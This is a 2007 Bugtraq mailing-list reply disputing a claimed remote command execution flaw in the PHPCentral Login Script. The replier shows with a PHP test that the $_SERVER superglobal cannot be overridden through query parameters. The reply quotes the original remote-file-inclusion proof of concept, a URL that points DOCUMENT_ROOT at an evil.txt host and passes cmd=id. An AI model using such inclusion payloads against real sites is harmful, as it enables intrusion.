Re: PHPCentral Login Script Remote Command Execution Vulnerabili
--nextPart4401847.biA2lRv9fQ
Content-Type: text/plain;
charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
On Sunday 12 August 2007 17:12, rizgar@linuxmail.org wrote:
> include.php ;
>
> Lines 4 ;
>
> include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php");
>
> PoC :
>
> http://www.example.com/include.php?_SERVER[DOCUMENT_ROOT]=3Dhttp://evil.t=
xt?&
>cmd=3Did
*Of course* this does not work. Setting register_globals to "On" causes the=
=20
contents of the "superglobals" ($_SERVER, $_GET, $_COOKIES, etc.) to be=20
registered in the global variable namespace. But the superglobals=20
*themselves* are special. They shadow everything - you cannot define your o=
wn=20
$_SERVER array, nor can it be overridden with HTTP GET or POST values. If=20
that were possible, using the superglobals would be useless; all scripts=20
would be vulnerable unless register_globals is off.
PoC:
echo '$_SERVER[DOCUMENT_ROOT] =3D ', $_SERVER[DOCUMENT_ROOT], "<br/>";
echo '$_GET["_SERVER"][DOCUMENT_ROOT] =3D ', $_GET["_SERVER"]
[DOCUMENT_ROOT], "<br/>";
Outputs:
$_SERVER[DOCUMENT_ROOT] =3D /home/www/docs
$_GET["_SERVER"][DOCUMENT_ROOT] =3D /foo
If the query string is _SERVER[DOCUMENT_ROOT]=3D/foo
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Now, register_globals has defaulted to off ever since PHP 4.2.0. I think it=
=20
would be fair to let PHP scripts rely on this, and not consider all scripts=
=20
that don't initialize their variables as vulnerable unless they require=20
register_globals to be on (this is not to say that it's not a good idea to=
=20
initialize variables).
And it would of course be nice if people posting to Bugtraq actually tested=
=20
their PoCs first. Can't the moderator spot obvious cases like this, or are=
=20
all vaguely relevant posts accepted, potentially for public ridicule?
=2D-=20
Magnus Holmgren holmgren@lysator.liu.se
--nextPart4401847.biA2lRv9fQ
Content-Type: application/pgp-signature
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
iD8DBQBGwWTXk7mRNn1h4+YRAq/VAKDPqifGWdOz5Jb+OUCM4rzWl/gsaACfQkyB
hzwR0RlNr2pJVWkdKQjIDzw=
=ODKz
-----END PGP SIGNATURE-----
--nextPart4401847.biA2lRv9fQ--
討論串 (同標題文章)
完整討論串 (本文為第 1 之 2 篇)：